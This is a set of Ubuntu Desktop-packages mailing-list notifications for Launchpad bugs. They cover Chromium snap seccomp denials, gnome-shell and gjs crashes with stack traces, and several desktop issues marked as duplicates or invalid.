[Desktop-packages] [Bug 1969141] Re: [snap] seccomp denials for syscall=312, 314, 330 on amd64
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: chromium-browser (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to chromium-browser in Ubuntu. https://bugs.launchpad.net/bugs/1969141 Title: [snap] seccomp denials for syscall=312,314,330 on amd64 Status in chromium-browser package in Ubuntu: Confirmed Bug description: # Steps to reproduce 1) Install Chromium's snap snap install chromium 2) Monitor logs journalctl -o cat -f --grep chromium 3) Start Chromium journalctl will be filled with errors due to some syscalls not permitted by the seccomp policy, like those: Apr 14 11:18:14 sdeziel-lemur audit[1734639]: SECCOMP auid=1000 uid=1000 gid=1000 ses=3 subj=snap.chromium.chromium pid=1734639 comm="chrome" exe="/snap/chromium/1961/usr/lib/chromium-browser/chrome" sig=0 arch=c03e syscall=314 compat=0 ip=0x77ccfac2276d code=0x5 Apr 14 11:18:14 sdeziel-lemur audit[1734751]: SECCOMP auid=1000 uid=1000 gid=1000 ses=3 subj=snap.chromium.chromium pid=1734751 comm="chrome" exe="/snap/chromium/1961/usr/lib/chromium-browser/chrome" sig=0 arch=c03e syscall=312 compat=0 ip=0x7a9d5be7f76d code=0x5 Apr 14 11:18:14 sdeziel-lemur audit[1734790]: SECCOMP auid=1000 uid=1000 gid=1000 ses=3 subj=snap.chromium.chromium pid=1734790 comm="chrome" exe="/snap/chromium/1961/usr/lib/chromium-browser/chrome" sig=0 arch=c03e syscall=330 compat=0 ip=0x735f8ecd303b code=0x5 # Additional information $ uname -a Linux sdeziel-lemur 5.13.0-39-generic #44~20.04.1-Ubuntu SMP Thu Mar 24 16:43:35 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -rd Description: Ubuntu 20.04.4 LTS Release: 20.04 $ snap list chromium Name VersionRev Tracking Publisher Notes chromium 100.0.4896.88 1961 latest/stable canonical✓ - $ snap connections chromium Interface PlugSlot Notes audio-playbackchromium:audio-playback :audio-playback - audio-record chromium:audio-record :audio-record- bluez chromium:bluez :bluez - browser-support chromium:browser-sandbox :browser-support - camerachromium:camera :camera manual content[gnome-3-38-2004] chromium:gnome-3-38-2004 gnome-3-38-2004:gnome-3-38-2004 - content[gtk-3-themes] chromium:gtk-3-themes gtk-common-themes:gtk-3-themes - content[icon-themes] chromium:icon-themes gtk-common-themes:icon-themes- content[sound-themes] chromium:sound-themes gtk-common-themes:sound-themes - cups-control chromium:cups-control :cups-control- desktop chromium:desktop:desktop - desktop-legacychromium:desktop-legacy :desktop-legacy - gsettings chromium:gsettings :gsettings - home chromium:home :home - joystick chromium:joystick :joystick - mount-observe chromium:mount-observe - - mpris - chromium:mpris - network chromium:network:network - network-bind chromium:network-bind :network-bind- network-manager chromium:network-manager- - openglchromium:opengl :opengl - password-manager-service chromium:password-manager-service - - personal-fileschromium:chromium-config :personal-files - pulseaudiochromium:pulseaudio - - raw-usb chromium:raw-usb- - removable-media chromium:removable-media :removable-media - screen-inhibit-controlchromium:screen-inhibit-control :screen-inhibit-control - system-files chromium:etc-chromium-browser-policies :system-files
[Desktop-packages] [Bug 1989045] Re: gjs-console crashed with SIGABRT in g_assertion_message_expr()
*** This bug is a duplicate of bug 1986455 *** https://bugs.launchpad.net/bugs/1986455 Thank you for taking the time to report this crash and helping to make this software better. This particular crash has already been reported and is a duplicate of bug #1986455, so is being marked as such. Please look at the other bug report to see if there is any missing information that you can provide, or to see if there is a workaround for the bug. Additionally, any further discussion regarding the bug should occur in the other report. Please continue to report any other bugs you may find. ** Attachment removed: "CoreDump.gz" https://bugs.launchpad.net/bugs/1989045/+attachment/5614506/+files/CoreDump.gz ** Attachment removed: "Disassembly.txt" https://bugs.launchpad.net/bugs/1989045/+attachment/5614508/+files/Disassembly.txt ** Attachment removed: "ProcMaps.txt" https://bugs.launchpad.net/bugs/1989045/+attachment/5614511/+files/ProcMaps.txt ** Attachment removed: "ProcStatus.txt" https://bugs.launchpad.net/bugs/1989045/+attachment/5614512/+files/ProcStatus.txt ** Attachment removed: "Registers.txt" https://bugs.launchpad.net/bugs/1989045/+attachment/5614513/+files/Registers.txt ** Attachment removed: "Stacktrace.txt" https://bugs.launchpad.net/bugs/1989045/+attachment/5614514/+files/Stacktrace.txt ** Attachment removed: "ThreadStacktrace.txt" https://bugs.launchpad.net/bugs/1989045/+attachment/5614515/+files/ThreadStacktrace.txt ** This bug has been marked a duplicate of private bug 1986455 ** Tags removed: need-amd64-retrace -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gjs in Ubuntu. https://bugs.launchpad.net/bugs/1989045 Title: gjs-console crashed with SIGABRT in g_assertion_message_expr() Status in gjs package in Ubuntu: New Bug description: out of nowhere it crashed ProblemType: Crash DistroRelease: Ubuntu 22.10 Package: gjs 1.73.2-1 ProcVersionSignature: Ubuntu 5.19.0-16.16-generic 5.19.7 Uname: Linux 5.19.0-16-generic x86_64 ApportVersion: 2.23.0-0ubuntu1 Architecture: amd64 CasperMD5CheckResult: unknown CrashCounter: 1 CurrentDesktop: ubuntu:GNOME Date: Thu Sep 8 10:59:41 2022 ExecutablePath: /usr/bin/gjs-console InstallationDate: Installed on 2020-06-25 (804 days ago) InstallationMedia: JournalErrors: Error: command ['journalctl', '--priority=warning', '--since=@1662605971', '--until=@1662605991'] failed with exit code 1: Hint: You are currently not seeing messages from other users and the system. Users in groups 'adm', 'systemd-journal' can see all messages. Pass -q to turn off this notice. No journal files were opened due to insufficient permissions. ProcCmdline: /usr/bin/gjs /usr/bin/gnome-characters --gapplication-service Signal: 6 SourcePackage: gjs StacktraceTop: ?? () from /lib/x86_64-linux-gnu/libglib-2.0.so.0 g_assertion_message_expr () from /lib/x86_64-linux-gnu/libglib-2.0.so.0 ?? () from /lib/x86_64-linux-gnu/libgtk-4.so.1 g_object_unref () from /lib/x86_64-linux-gnu/libgobject-2.0.so.0 ?? () from /lib/x86_64-linux-gnu/libgjs.so.0 Title: gjs-console crashed with SIGABRT in g_assertion_message_expr() UpgradeStatus: Upgraded to kinetic on 2022-04-25 (135 days ago) UserGroups: nordvpn sudo separator: To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gjs/+bug/1989045/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1989045] [NEW] gjs-console crashed with SIGABRT in g_assertion_message_expr()
*** This bug is a duplicate of bug 1986455 *** https://bugs.launchpad.net/bugs/1986455 Public bug reported: out of nowhere it crashed ProblemType: Crash DistroRelease: Ubuntu 22.10 Package: gjs 1.73.2-1 ProcVersionSignature: Ubuntu 5.19.0-16.16-generic 5.19.7 Uname: Linux 5.19.0-16-generic x86_64 ApportVersion: 2.23.0-0ubuntu1 Architecture: amd64 CasperMD5CheckResult: unknown CrashCounter: 1 CurrentDesktop: ubuntu:GNOME Date: Thu Sep 8 10:59:41 2022 ExecutablePath: /usr/bin/gjs-console InstallationDate: Installed on 2020-06-25 (804 days ago) InstallationMedia: JournalErrors: Error: command ['journalctl', '--priority=warning', '--since=@1662605971', '--until=@1662605991'] failed with exit code 1: Hint: You are currently not seeing messages from other users and the system. Users in groups 'adm', 'systemd-journal' can see all messages. Pass -q to turn off this notice. No journal files were opened due to insufficient permissions. ProcCmdline: /usr/bin/gjs /usr/bin/gnome-characters --gapplication-service Signal: 6 SourcePackage: gjs StacktraceTop: ?? () from /lib/x86_64-linux-gnu/libglib-2.0.so.0 g_assertion_message_expr () from /lib/x86_64-linux-gnu/libglib-2.0.so.0 ?? () from /lib/x86_64-linux-gnu/libgtk-4.so.1 g_object_unref () from /lib/x86_64-linux-gnu/libgobject-2.0.so.0 ?? () from /lib/x86_64-linux-gnu/libgjs.so.0 Title: gjs-console crashed with SIGABRT in g_assertion_message_expr() UpgradeStatus: Upgraded to kinetic on 2022-04-25 (135 days ago) UserGroups: nordvpn sudo separator: ** Affects: gjs (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-crash kinetic wayland-session ** Information type changed from Private to Public -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gjs in Ubuntu. https://bugs.launchpad.net/bugs/1989045 Title: gjs-console crashed with SIGABRT in g_assertion_message_expr() Status in gjs package in Ubuntu: New Bug description: out of nowhere it crashed ProblemType: Crash DistroRelease: Ubuntu 22.10 Package: gjs 1.73.2-1 ProcVersionSignature: Ubuntu 5.19.0-16.16-generic 5.19.7 Uname: Linux 5.19.0-16-generic x86_64 ApportVersion: 2.23.0-0ubuntu1 Architecture: amd64 CasperMD5CheckResult: unknown CrashCounter: 1 CurrentDesktop: ubuntu:GNOME Date: Thu Sep 8 10:59:41 2022 ExecutablePath: /usr/bin/gjs-console InstallationDate: Installed on 2020-06-25 (804 days ago) InstallationMedia: JournalErrors: Error: command ['journalctl', '--priority=warning', '--since=@1662605971', '--until=@1662605991'] failed with exit code 1: Hint: You are currently not seeing messages from other users and the system. Users in groups 'adm', 'systemd-journal' can see all messages. Pass -q to turn off this notice. No journal files were opened due to insufficient permissions. ProcCmdline: /usr/bin/gjs /usr/bin/gnome-characters --gapplication-service Signal: 6 SourcePackage: gjs StacktraceTop: ?? () from /lib/x86_64-linux-gnu/libglib-2.0.so.0 g_assertion_message_expr () from /lib/x86_64-linux-gnu/libglib-2.0.so.0 ?? () from /lib/x86_64-linux-gnu/libgtk-4.so.1 g_object_unref () from /lib/x86_64-linux-gnu/libgobject-2.0.so.0 ?? () from /lib/x86_64-linux-gnu/libgjs.so.0 Title: gjs-console crashed with SIGABRT in g_assertion_message_expr() UpgradeStatus: Upgraded to kinetic on 2022-04-25 (135 days ago) UserGroups: nordvpn sudo separator: To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gjs/+bug/1989045/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988315] Re: gnome-shell crashed with SIGABRT [Clutter:ERROR:../clutter/clutter/clutter-actor.c:11749:clutter_actor_destroy_all_children: assertion failed: (self->priv->n_child
satmandu, As a workaround please run: gnome-extensions disable ubuntu-appindicat...@ubuntu.com and then log in again. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell-extension-appindicator in Ubuntu. https://bugs.launchpad.net/bugs/1988315 Title: gnome-shell crashed with SIGABRT [Clutter:ERROR:../clutter/clutter/clutter- actor.c:11749:clutter_actor_destroy_all_children: assertion failed: (self->priv->n_children < prev_n_children)] in indicatorStatusIcon.js:317 Status in gnome-shell-extension-appindicator package in Ubuntu: Confirmed Status in gnome-shell-extension-appindicator package in Fedora: Confirmed Bug description: After upgrading to kinetic gnome-shell is crashing on start when using wayland. ProblemType: Bug DistroRelease: Ubuntu 22.10 Package: gnome-shell 43~beta-1ubuntu2 ProcVersionSignature: Ubuntu 5.15.0-46.49-generic 5.15.39 Uname: Linux 5.15.0-46-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.23.0-0ubuntu1 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: ubuntu:GNOME Date: Wed Aug 31 10:28:31 2022 DisplayManager: gdm3 DistributionChannelDescriptor: # This is the distribution channel descriptor for the OEM CDs # For more information see http://wiki.ubuntu.com/DistributionChannelDescriptor canonical-oem-sutton-bionic-amd64-20200511-23+sutton-knuth-bionic-amd64+iso InstallationDate: Installed on 2020-05-18 (834 days ago) InstallationMedia: Ubuntu 18.04 "Bionic" - Build amd64 LIVE Binary 20200511-12:31 ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash RelatedPackageVersions: mutter-common 43~beta-3ubuntu2 SourcePackage: gnome-shell UpgradeStatus: Upgraded to kinetic on 2022-08-30 (0 days ago) modified.conffile..etc.default.apport: [modified] mtime.conffile..etc.default.apport: 2020-05-11T08:18:53 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell-extension-appindicator/+bug/1988315/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1989040] Re: my Intel Hd Graphics Card
There are no alternate drivers you can or should install for Intel graphics. The drivers are built-in already, and will get automatic updates. ** Package changed: xorg (Ubuntu) => ubuntu ** Changed in: ubuntu Status: New => Invalid -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1989040 Title: my Intel Hd Graphics Card Status in Ubuntu: Invalid Bug description: Hi, I'm new to linux and I just want to know how can i install my graphic card drivers (Intel Hd Graphics) for linux,Ubuntu. ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: xorg 1:7.7+23ubuntu2 ProcVersionSignature: Ubuntu 5.15.0-47.51-generic 5.15.46 Uname: Linux 5.15.0-47-generic x86_64 ApportVersion: 2.20.11-0ubuntu82.1 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: pass CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Thu Sep 8 06:38:33 2022 DistUpgraded: Fresh install DistroCodename: jammy DistroVariant: ubuntu ExtraDebuggingInterest: No GraphicsCard: Intel Corporation Core Processor Integrated Graphics Controller [8086:0046] (rev 02) (prog-if 00 [VGA controller]) Subsystem: Acer Incorporated [ALI] Core Processor Integrated Graphics Controller [1025:0487] InstallationDate: Installed on 2022-09-07 (0 days ago) InstallationMedia: Ubuntu 22.04.1 LTS "Jammy Jellyfish" - Release amd64 (20220809.1) MachineType: Acer Aspire 5742 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.15.0-47-generic root=UUID=dea97999-bb79-4e35-b6cb-c268aabc1fdd ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 08/10/2011 dmi.bios.release: 24.240 dmi.bios.vendor: Acer dmi.bios.version: V1.24 dmi.board.asset.tag: Base Board Asset Tag dmi.board.name: Aspire 5742 dmi.board.vendor: Acer dmi.board.version: V1.24 dmi.chassis.type: 10 dmi.chassis.vendor: Acer dmi.chassis.version: V1.24 dmi.modalias: dmi:bvnAcer:bvrV1.24:bd08/10/2011:br24.240:svnAcer:pnAspire5742:pvrV1.24:rvnAcer:rnAspire5742:rvrV1.24:cvnAcer:ct10:cvrV1.24:skuCalpella_CRB: dmi.product.family: Intel_Mobile dmi.product.name: Aspire 5742 dmi.product.sku: Calpella_CRB dmi.product.version: V1.24 dmi.sys.vendor: Acer version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.110-1ubuntu1 version.libgl1-mesa-dri: libgl1-mesa-dri 22.0.5-0ubuntu0.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:21.1.3-2ubuntu2.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-2ubuntu1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20210115-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.17-2build1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+bug/1989040/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988315] Re: gnome-shell crashed with SIGABRT [Clutter:ERROR:../clutter/clutter/clutter-actor.c:11749:clutter_actor_destroy_all_children: assertion failed: (self->priv->n_child
I'm seeing this as well. I have a Wayland session, from which I ssh to another host and run geany (forwarded over ssh). Gnome-shell immediately crashes. Interestingly, forwarding xterm from the remote host does not cause a crash. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell-extension-appindicator in Ubuntu. https://bugs.launchpad.net/bugs/1988315 Title: gnome-shell crashed with SIGABRT [Clutter:ERROR:../clutter/clutter/clutter- actor.c:11749:clutter_actor_destroy_all_children: assertion failed: (self->priv->n_children < prev_n_children)] in indicatorStatusIcon.js:317 Status in gnome-shell-extension-appindicator package in Ubuntu: Confirmed Status in gnome-shell-extension-appindicator package in Fedora: Confirmed Bug description: After upgrading to kinetic gnome-shell is crashing on start when using wayland. ProblemType: Bug DistroRelease: Ubuntu 22.10 Package: gnome-shell 43~beta-1ubuntu2 ProcVersionSignature: Ubuntu 5.15.0-46.49-generic 5.15.39 Uname: Linux 5.15.0-46-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.23.0-0ubuntu1 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: ubuntu:GNOME Date: Wed Aug 31 10:28:31 2022 DisplayManager: gdm3 DistributionChannelDescriptor: # This is the distribution channel descriptor for the OEM CDs # For more information see http://wiki.ubuntu.com/DistributionChannelDescriptor canonical-oem-sutton-bionic-amd64-20200511-23+sutton-knuth-bionic-amd64+iso InstallationDate: Installed on 2020-05-18 (834 days ago) InstallationMedia: Ubuntu 18.04 "Bionic" - Build amd64 LIVE Binary 20200511-12:31 ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash RelatedPackageVersions: mutter-common 43~beta-3ubuntu2 SourcePackage: gnome-shell UpgradeStatus: Upgraded to kinetic on 2022-08-30 (0 days ago) modified.conffile..etc.default.apport: [modified] mtime.conffile..etc.default.apport: 2020-05-11T08:18:53 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell-extension-appindicator/+bug/1988315/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1989040] [NEW] my Intel Hd Graphics Card
Public bug reported: Hi, I'm new to linux and I just want to know how can i install my graphic card drivers (Intel Hd Graphics) for linux,Ubuntu. ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: xorg 1:7.7+23ubuntu2 ProcVersionSignature: Ubuntu 5.15.0-47.51-generic 5.15.46 Uname: Linux 5.15.0-47-generic x86_64 ApportVersion: 2.20.11-0ubuntu82.1 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: pass CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Thu Sep 8 06:38:33 2022 DistUpgraded: Fresh install DistroCodename: jammy DistroVariant: ubuntu ExtraDebuggingInterest: No GraphicsCard: Intel Corporation Core Processor Integrated Graphics Controller [8086:0046] (rev 02) (prog-if 00 [VGA controller]) Subsystem: Acer Incorporated [ALI] Core Processor Integrated Graphics Controller [1025:0487] InstallationDate: Installed on 2022-09-07 (0 days ago) InstallationMedia: Ubuntu 22.04.1 LTS "Jammy Jellyfish" - Release amd64 (20220809.1) MachineType: Acer Aspire 5742 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.15.0-47-generic root=UUID=dea97999-bb79-4e35-b6cb-c268aabc1fdd ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 08/10/2011 dmi.bios.release: 24.240 dmi.bios.vendor: Acer dmi.bios.version: V1.24 dmi.board.asset.tag: Base Board Asset Tag dmi.board.name: Aspire 5742 dmi.board.vendor: Acer dmi.board.version: V1.24 dmi.chassis.type: 10 dmi.chassis.vendor: Acer dmi.chassis.version: V1.24 dmi.modalias: dmi:bvnAcer:bvrV1.24:bd08/10/2011:br24.240:svnAcer:pnAspire5742:pvrV1.24:rvnAcer:rnAspire5742:rvrV1.24:cvnAcer:ct10:cvrV1.24:skuCalpella_CRB: dmi.product.family: Intel_Mobile dmi.product.name: Aspire 5742 dmi.product.sku: Calpella_CRB dmi.product.version: V1.24 dmi.sys.vendor: Acer version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.110-1ubuntu1 version.libgl1-mesa-dri: libgl1-mesa-dri 22.0.5-0ubuntu0.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:21.1.3-2ubuntu2.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-2ubuntu1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20210115-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.17-2build1 ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug jammy ubuntu wayland-session -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1989040 Title: my Intel Hd Graphics Card Status in xorg package in Ubuntu: New Bug description: Hi, I'm new to linux and I just want to know how can i install my graphic card drivers (Intel Hd Graphics) for linux,Ubuntu. ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: xorg 1:7.7+23ubuntu2 ProcVersionSignature: Ubuntu 5.15.0-47.51-generic 5.15.46 Uname: Linux 5.15.0-47-generic x86_64 ApportVersion: 2.20.11-0ubuntu82.1 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: pass CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Thu Sep 8 06:38:33 2022 DistUpgraded: Fresh install DistroCodename: jammy DistroVariant: ubuntu ExtraDebuggingInterest: No GraphicsCard: Intel Corporation Core Processor Integrated Graphics Controller [8086:0046] (rev 02) (prog-if 00 [VGA controller]) Subsystem: Acer Incorporated [ALI] Core Processor Integrated Graphics Controller [1025:0487] InstallationDate: Installed on 2022-09-07 (0 days ago) InstallationMedia: Ubuntu 22.04.1 LTS "Jammy Jellyfish" - Release amd64 (20220809.1) MachineType: Acer Aspire 5742 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.15.0-47-generic root=UUID=dea97999-bb79-4e35-b6cb-c268aabc1fdd ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 08/10/2011 dmi.bios.release: 24.240 dmi.bios.vendor: Acer dmi.bios.version: V1.24 dmi.board.asset.tag: Base Board Asset Tag dmi.board.name: Aspire 5742 dmi.board.vendor: Acer dmi.board.version: V1.24 dmi.chassis.type: 10 dmi.chassis.vendor: Acer dmi.chassis.version: V1.24 dmi.modalias: dmi:bvnAcer:bvrV1.24:bd08/10/2011:br24.240:svnAcer:pnAspire5742:pvrV1.24:rvnAcer:rnAspire5742:rvrV1.24:cvnAcer:ct10:cvrV1.24:skuCalpella_CRB: dmi.product.family: Intel_Mobile dmi.product.name: Aspire 5742 dmi.product.sku: Calpella_CRB dmi.product.version: V1.24 dmi.sys.vendor: Acer version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.110-1ubuntu1 version.libgl1-mesa-dri: libgl1-mesa-dri 22.0.5-0ubuntu0.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:21.1.3-2ubuntu2.1 version.xserver-xorg-input-evdev:
[Desktop-packages] [Bug 1988785] Re: ssh tunneling geany crashes session, forcing logout
*** This bug is a duplicate of bug 1988315 *** https://bugs.launchpad.net/bugs/1988315 Thank you for taking the time to report this bug and helping to make Ubuntu better. This particular bug has already been reported and is a duplicate of bug 1988315, so it is being marked as such. Please look at the other bug report to see if there is any missing information that you can provide, or to see if there is a workaround for the bug. Additionally, any further discussion regarding the bug should occur in the other report. Feel free to continue to report any other bugs you may find. ** This bug has been marked a duplicate of bug 1988315 gnome-shell crashed with SIGABRT [Clutter:ERROR:../clutter/clutter/clutter-actor.c:11749:clutter_actor_destroy_all_children: assertion failed: (self->priv->n_children < prev_n_children)] in indicatorStatusIcon.js:317 -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1988785 Title: ssh tunneling geany crashes session, forcing logout Status in gnome-shell package in Ubuntu: Incomplete Bug description: ssh to a host forwarding X, and open geany on remote host. The entire session crashes, and I get logged out. I'm assuming this is a mutter issue? I have always been able to forward geany over ssh before. Both machines are running ubuntu 20.10/dev/kinetic, with kernel 6.0-rc4. ProblemType: Bug DistroRelease: Ubuntu 22.10 Package: mutter 43~beta-3ubuntu2 Uname: Linux 6.0.0-rc4 x86_64 NonfreeKernelModules: wl zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.23.0-0ubuntu1 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: ubuntu:GNOME Date: Mon Sep 5 18:32:22 2022 ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: mutter UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1988785/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988576] Re: Maximized window goes behind the launcher
*** This bug is a duplicate of bug 1961508 *** https://bugs.launchpad.net/bugs/1961508 Thank you for taking the time to report this bug and helping to make Ubuntu better. This particular bug has already been reported and is a duplicate of bug 1961508, so it is being marked as such. Please look at the other bug report to see if there is any missing information that you can provide, or to see if there is a workaround for the bug. Additionally, any further discussion regarding the bug should occur in the other report. Feel free to continue to report any other bugs you may find. ** This bug has been marked a duplicate of bug 1961508 Dock displaying over window after resuming from blank screen -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1988576 Title: Maximized window goes behind the launcher Status in gnome-shell package in Ubuntu: New Bug description: Steps to reproduce: Launch Libreoffice Writer Maximize Libreoffice Writer's window Launch Files Maximize Files's window => Your screen is currently like Capture 1 Lock the screen (like shown in Capture 2) Unlock the screen by typing the user's password => In the following, do no release key unless you are told to. Press Alt (without releasing) One second later, press Tab and release Tab One second later, release Alt => Your screen is currently like Capture 3 What I expected to happen: I expected to see LibreOffice Writer's window maximized but not behind the launcher. What happened instead LibreOffice Writer's window is maximized and is behind the launcher. nicolas@nicolas-fixe:~$ lsb_release -rd Description: Ubuntu 22.04.1 LTS Release: 22.04 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1988576/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988660] Re: snap doesn't map joystick buttons correctly
Hi, I found this bug while investigating the Chromium bug https://crbug.com/1359677 I'm guessing this is caused by Chromium's use of udev for device enumeration. Gamepad API on Linux uses udev to enumerate devices in the joydev, evdev, and hidraw subsystems. flatpak has a similar problem: https://github.com/flathub/org.chromium.Chromium/issues/40 "Unfortunately we're mostly stuck like this for now, since Chromium expects to read devices from udev, which cannot be directly exposed into the sandbox due to having an unstable ABI." As noted up-thread, there's a flatpak workaround that involves configuring the udev filesystem to be read-only. I'd like to fix this by removing Chromium's dependency on udev. Is there an alternative that plays nicely with snap/flatpak sandboxing? ** Bug watch added: github.com/flathub/org.chromium.Chromium/issues #40 https://github.com/flathub/org.chromium.Chromium/issues/40 -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to chromium-browser in Ubuntu. https://bugs.launchpad.net/bugs/1988660 Title: snap doesn't map joystick buttons correctly Status in chromium-browser package in Ubuntu: Incomplete Bug description: I tested the deb version and works fine. Steps to reproduce the problem: 1.Connect the PS4 joystick by Bluetooth in Linux 2.Test mapping in a webpage like gamepad-tester.com 3.Almost all buttons are incorrectly mapped Problem Description: The buttons of the joystick are incorrectly mapped in the browser and this makes impossible to play Stadia, even the right axis remain always pressed when you press R2 once, you can see the error by yourself at this short video: https://www.youtube.com/watch?v=VLPQkXyVAsM To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/chromium-browser/+bug/1988660/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988785] Re: ssh tunneling geany crashes session, forcing logout
Here is some info from the crash file. More is available upon request.
(I opened a separate bug for the failure to upload the crash file at
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1988870 )
Title: gnome-shell crashed with SIGABRT in
__pthread_kill_implementation()
SourcePackage: gnome-shell
Stacktrace:
#0 __pthread_kill_implementation (no_tid=0, signo=6, threadid=) at ./nptl/pthread_kill.c:44
tid =
ret = 0
pd =
old_mask = {__val = {94469445361920}}
ret =
pd =
old_mask =
ret =
tid =
ret =
resultvar =
resultvar =
__arg3 =
__arg2 =
__arg1 =
_a3 =
_a2 =
_a1 =
__futex =
resultvar =
__arg3 =
__arg2 =
__arg1 =
_a3 =
_a2 =
_a1 =
__futex =
__private =
__oldval =
result =
#1 __pthread_kill_internal (signo=6, threadid=) at
./nptl/pthread_kill.c:78
No locals.
#2 __GI___pthread_kill (threadid=, signo=signo@entry=6) at
./nptl/pthread_kill.c:89
No locals.
